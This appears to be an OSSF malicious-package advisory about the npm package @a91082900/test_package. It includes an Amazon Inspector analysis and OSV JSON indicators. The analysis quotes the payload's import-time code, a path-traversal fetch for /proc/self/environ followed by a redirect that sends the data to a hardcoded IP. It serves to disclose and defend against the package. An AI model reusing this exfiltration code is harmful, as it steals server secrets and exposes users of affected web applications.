MAL-2026-3680
Vulnerability from ossf_malicious_packages
Published
2026-05-12 18:00
Modified
2026-05-12 19:03
Summary
Malicious code in @a91082900/test_package (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (b8349cd7ce2c9ac2321dce8f80e5a46c0064b382fb7e54e975ff27a2dcab1254)

The package's main file (index.js) executes at module load, with no exports and no user-invoked API. On import it issues fetch('/api/notes?id=/self/proc/environ') and then assigns top.location = 'http://128.199.217.232/?notes=' + encodeURIComponent(data), relaying whatever the vulnerable endpoint returns (a path-traversal-shaped request for the server process's environment variables) to a hardcoded bare IPv4 address over plain HTTP. Package metadata is placeholder ('no description', generic author handle) and there is no library functionality — this is a PoC/exfil payload packaged as an npm module. Any installer bundling this into a web application would redirect victim browsers to the attacker IP with exfiltrated data in the query string. Import-time execution + hardcoded bare-IP C2 + plaintext HTTP + a request path specifically crafted to read /proc/self/environ together leave no benign interpretation.

CWE
  • CWE-506 - The product contains code that appears to be malicious in nature.
Credits
Amazon Inspector actran@amazon.com

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "domains": [
            "128.199.217.232"
          ],
          "evidence_files": [
            {
              "path": "index.js",
              "sha256": "d2336e7e177c17da9310bbf1bde62a714d5369b0d334b7e34065a4969ea1ccd2",
              "tlsh": "4bf0dc0b88e004275f97040b9b62047aa715f817caf4d8713aae431a1f85e60d0702e3"
            }
          ],
          "package_integrity": [
            {
              "filename": "test_package-0.0.5.tgz",
              "hashes": {
                "sha1": "2de1cb4b995ed0e3e15607ad85dcd0e73c18439a",
                "sha512_sri": "sha512-POWq7EUvxvBu1E7lmICVq2qc+qa8kcaYdeYAW7tDIhEReNLFNRSYSvGkGj17boeS2ASU8amp4jvnW4+g4x7JeQ=="
              }
            }
          ],
          "urls": [
            "http://128.199.217.232/?notes="
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "@a91082900/test_package"
      },
      "versions": [
        "0.0.5"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "actran@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-002549",
        "import_time": "2026-05-13T20:10:59.684865697Z",
        "modified_time": "2026-05-12T19:03:07Z",
        "sha256": "b8349cd7ce2c9ac2321dce8f80e5a46c0064b382fb7e54e975ff27a2dcab1254",
        "source": "amazon-inspector",
        "versions": [
          "0.0.5"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (b8349cd7ce2c9ac2321dce8f80e5a46c0064b382fb7e54e975ff27a2dcab1254)\nThe package\u0027s main file (index.js) executes at module load, with no exports and no user-invoked API. On import it issues `fetch(\u0027/api/notes?id=/self/proc/environ\u0027)` and then assigns `top.location = \u0027http://128.199.217.232/?notes=\u0027 + encodeURIComponent(data)`, relaying whatever the vulnerable endpoint returns (a path-traversal-shaped request for the server process\u0027s environment variables) to a hardcoded bare IPv4 address over plain HTTP. Package metadata is placeholder (\u0027no description\u0027, generic author handle) and there is no library functionality \u2014 this is a PoC/exfil payload packaged as an npm module. Any installer bundling this into a web application would redirect victim browsers to the attacker IP with exfiltrated data in the query string. Import-time execution + hardcoded bare-IP C2 + plaintext HTTP + a request path specifically crafted to read `/proc/self/environ` together leave no benign interpretation.\n",
  "id": "MAL-2026-3680",
  "modified": "2026-05-12T19:03:07Z",
  "published": "2026-05-12T18:00:18Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/@a91082900/test_package/v/0.0.5"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in @a91082900/test_package (npm)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…